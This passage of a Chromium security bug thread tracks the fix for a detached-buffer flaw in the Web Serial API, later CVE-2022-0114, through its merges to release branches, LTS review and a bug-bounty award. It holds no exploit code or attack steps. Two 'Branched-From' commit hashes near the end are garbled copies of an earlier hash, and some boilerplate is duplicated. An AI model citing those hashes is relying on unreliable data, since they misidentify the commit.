Commit-Queue: Reilly Grant <reillyg@chromium.org>
Auto-Submit: Reilly Grant <reillyg@chromium.org>

Reviewed-by: Hongchan Choi <hongchan@chromium.org>
Cr-Commit-Position: refs/heads/main@{#940631}

[modify]
https://crrev.com/7ce1516b49e86430c9216d0df8e23a325104a8c5/third_party/blink/web_tests/external/wpt/serial/serialPort_writable.https.any.js
[add]
https://crrev.com/7ce1516b49e86430c9216d0df8e23a325104a8c5/third_party/blink/web_tests/external/wpt/serial/serialPort_writable_detachBuffer.https.any.js
[modify]
https://crrev.com/7ce1516b49e86430c9216d0df8e23a325104a8c5/third_party/blink/renderer/modules/serial/serial_port_underlying_sink.cc

Comment 16 by reillyg@chromium.org on Wed, Nov 10, 2021, 10:36 PM EST

Status: Fixed (was: Started)
Labels: Security_Impact-Stable FoundIn-95 Security_Severity-Medium OS-Chrome OS-Linux OS-Mac OS-Windows OS-Lacros

Comment 17 by reillyg@chromium.org on Wed, Nov 10, 2021, 10:37 PM EST

Labels: Pri-1

Comment 18 by reillyg@chromium.org on Thu, Nov 11, 2021, 8:38 PM EST

Labels: Merge-Request-97

Requesting merge to M-97. Not requesting merge to M-96 (current stable) due to medium severity.

Comment 19 by sheriffbot on Thu, Nov 11, 2021, 9:54 PM EST

Labels: -Merge-Request-97 Merge-Approved-97 Hotlist-Merge-Approved

Merge approved: your change passed merge requirements and is auto-approved for M97. Please go ahead and merge the CL to branch 4692 (refs/branch-heads/4692) manually. Please contact milestone owner if you have questions.
Merge instructions:
https://chromium.googlesource.com/chromium/src.git/+/refs/heads/main/docs/process/merge_request.md
Owners: benmason (Android), harrysouders (iOS), ceb (ChromeOS), pbommana (Desktop)

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Comment 20 by sheriffbot on Fri, Nov 12, 2021, 12:42 PM EST

Labels: reward-topanel

Comment 21 by sheriffbot on Fri, Nov 12, 2021, 12:53 PM EST

Labels: -Merge-Approved-97 Target-96 M-96

Setting milestone and target because of medium severity.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Comment 22 by sheriffbot on Fri, Nov 12, 2021, 1:42 PM EST

Labels: -Restrict-View-SecurityTeam Restrict-View-SecurityNotify

Comment 23 by Git Watcher on Fri, Nov 12, 2021, 3:10 PM EST

Labels: merge-merged-4692 merge-merged-97

The following revision refers to this bug:
https://chromium.googlesource.com/chromium/src/+/55f6cb37525c796e8b1df5331736b1da39c52bc2

commit 55f6cb37525c796e8b1df5331736b1da39c52bc2
Author: Reilly Grant <reillyg@chromium.org>
Date: Fri Nov 12 20:09:12 2021

[Merge M-97] serial: Check for detached buffers when writing

This change adds check in SerialPortUnderlyingSink::WriteData() to
ensure that the V8BufferSource being written to the Mojo data pipe has
not been detached since it was passed to the WritableStream.

(cherry picked from commit 7ce1516b49e86430c9216d0df8e23a325104a8c5)

~~Bug: 1267627~~
Change-Id: I63d48584eb0be1c1d87c27115900aa5c17931fcf
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/3269348
Commit-Queue: Reilly Grant <reillyg@chromium.org>
Auto-Submit: Reilly Grant <reillyg@chromium.org>
Reviewed-by: Hongchan Choi <hongchan@chromium.org>
Cr-Original-Commit-Position: refs/heads/main@{#940631}
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/3279207
Bot-Commit: Rubber Stamper <rubber-stamper@appspot.gserviceaccount.com>
Cr-Commit-Position: refs/branch-heads/4692@{#132}
Cr-Branched-From: 038cd96142d384c0d2238973f1cb277725a62eba-refs/heads/main@{#938553}

[modify]
https://crrev.com/55f6cb37525c796e8b1df5331736b1da39c52bc2/third_party/blink/web_tests/external/wpt/serial/serialPort_writable.https.any.js
[add]
https://crrev.com/55f6cb37525c796e8b1df5331736b1da39c52bc2/third_party/blink/web_tests/external/wpt/serial/serialPort_writable_detachBuffer.https.any.js
[modify]
https://crrev.com/55f6cb37525c796e8b1df5331736b1da39c52bc2/third_party/blink/renderer/modules/serial/serial_port_underlying_sink.cc

Comment 24 by amyressler@chromium.org on Tue, Jan 4, 2022, 12:01 PM EST

Labels: Release-0-M97

Comment 25 by amyressler@google.com on Tue, Jan 4, 2022, 1:34 PM EST

Labels: CVE-2022-0114 CVE_description-missing

Comment 26 by amyressler@google.com on Thu, Jan 13, 2022, 6:03 PM EST

Labels: -reward-topanel reward-unpaid reward-7500

*** Boilerplate reminders! ***
Please do NOT publicly disclose details until a fix has been released to all our users. Early public disclosure may cancel the provisional reward. Also, please be considerate about disclosure when the bug affects a core library that may be used by

other products. Please do NOT share this information with third parties who are not directly involved in fixing the bug. Doing so may cancel the provisional reward. Please be honest if you have already disclosed anything publicly or to third parties. Lastly, we understand that some of you are not interested in money. We offer the option to donate your reward to an eligible

Lastly, we understand that some of you are not interested in money. We offer the option to donate your reward to an eligible charity. If you prefer this option, let us know and we will also match your donation - subject to our discretion. Any rewards that are unclaimed after 12 months will be donated to a charity of our choosing.

Please contact security-vrp@chromium.org with any questions.
****

Comment 27 by sheriffbot on Thu, Jan 13, 2022, 6:19 PM EST

Labels: LTS-Merge-Candidate

LTS Milestone M96

This issue has been flagged as a merge candidate for Chrome OS' LTS channel. If selected, our merge team will handle any additional merges. To help us determine if this issue requires a merge to LTS, please answer this short questionnaire:
1. Was this issue a regression for the milestone it was found in?
2. Is this issue related to a change or feature merged after the latest LTS Milestone?

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Comment 28 by amyressler@chromium.org on Thu, Jan 13, 2022, 7:10 PM EST

Congratulations! The VRP Panel has decided to award you $7500 for this report. Thank you for your report and great work!

Comment 29 by reillyg@chromium.org on Thu, Jan 13, 2022, 9:08 PM EST

1. Was this issue a regression for the milestone it was found in?

No, this issue has been present since the launch of the Web Serial API in M-89.

2. Is this issue related to a change or feature merged after the latest LTS Milestone?

No, see above.

Comment 30 by amyressler@google.com on Fri, Jan 14, 2022, 5:37 PM EST

Labels: -reward-unpaid reward-inprocess

Comment 31 by voit@google.com on Tue, Feb 1, 2022, 9:26 AM EST

Labels: LTS-Evaluating-96

Comment 32 by voit@google.com on Thu, Feb 10, 2022, 8:24 AM EST

Labels: -LTS-Evaluating-96 LTS-Merge-Request-96

Comment 33 by sheriffbot on Thu, Feb 10, 2022, 8:29 AM EST

Labels: -LTS-Merge-Request-96 LTS-Merge-Review-96

This issue requires additional review before it can be merged to the LTS channel. Please answer the following questions to help us evaluate this merge:

1. Number of CLs needed for this fix and links to them.
2. Level of complexity (High, Medium, Low - Explain)
3. Has this been merged to a stable release? beta release?

3. Has this been merged to a stable release? beta release?
4. Overall Recommendation (Yes, No)

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Comment 34 by voit@google.com on Thu, Feb 10, 2022, 10:30 AM EST

1. Just one.
2. Explain - no conflicts.
3. Stable - M98, M97
4. Yes

Comment 35 by gmpritchard@google.com on Thu, Feb 10, 2022, 10:31 AM EST

Labels: -LTS-Merge-Candidate -LTS-Merge-Review-96 LTS-Merge-Approved-96

Comment 36 by sheriffbot on Thu, Feb 17, 2022, 1:30 PM EST

Labels: -Restrict-View-SecurityNotify allpublic

This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Comment 37 by Git Watcher on Mon, Feb 21, 2022, 7:04 AM EST

Labels: merge-merged-4664 merge-merged-96

The following revision refers to this bug:
https://chromium.googlesource.com/chromium/src/+/5c560354b7a77d91a55c14686174b686dfc34261

commit 5c560354b7a77d91a55c14686174b686dfc34261
Author: Reilly Grant <reillyg@chromium.org>
Date: Mon Feb 21 12:03:32 2022

[M96-LTS] serial: Check for detached buffers when writing

This change adds check in SerialPortUnderlyingSink::WriteData() to
ensure that the V8BufferSource being written to the Mojo data pipe has
not been detached since it was passed to the WritableStream.

(cherry picked from commit 7ce1516b49e86430c9216d0df8e23a325104a8c5)

(cherry picked from commit 55f6cb37525c796e8b1df5331736b1da39c52bc2)

~~Bug: 1267627~~
Change-Id: I63d48584eb0be1c1d87c27115900aa5c17931fcf
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/3269348
Commit-Queue: Reilly Grant <reillyg@chromium.org>
Auto-Submit: Reilly Grant <reillyg@chromium.org>
Cr-Original-Original-Commit-Position: refs/heads/main@{#940631}
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/3279207

Bot-Commit: Rubber Stamper <rubber-stamper@appspot.gserviceaccount.com>
Cr-Original-Commit-Position: refs/branch-heads/4692@{#132}
Cr-Original-Branched-From: 038ed06142d384e0d223807f1eb277725e62eba-refs/heads/main@{#938553}

Cr-Original-Branched-From: 038cd9b142d384c0d223897317cb27772ba62eba-refs/heads/main@{#938553}
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/3450549
Reviewed-by: Reilly Grant <reillyg@chromium.org>
Reviewed-by: Michael Ershov <miersh@google.com>
Commit-Queue: Zakhar Voit <voit@google.com>
Cr-Commit-Position: refs/branch-heads/4664@{#1490}
Cr-Branched-From: 24dc4ee75e01a29d390d43c9c264372a169273a7-refs/heads/main@{#929512}

[modify]
https://crrev.com/5c560354b7a77d91a55c14686174b686dfc34261/third_party/blink/web_tests/external/wpt/serial/serialPort_writable.https.any.js
[add]
https://crrev.com/5c560354b7a77d91a55c14686174b686dfc34261/third_party/blink/web_tests/external/wpt/serial/serialPort_writable_detachBuffer.https.any.js
[modify]
https://crrev.com/5c560354b7a77d91a55c14686174b686dfc34261/third_party/blink/renderer/modules/serial/serial_port_underlying_sink.cc

Comment 38 by voit@google.com on Mon, Feb 21, 2022, 7:26 AM EST

Labels: -LTS-Merge-Approved-96 LTS-Merge-Merged-96

Comment 39 by amyressler@chromium.org on Fri, Jul 29, 2022, 5:36 PM EDT

Labels: -CVE_description-missing CVE_description-submitted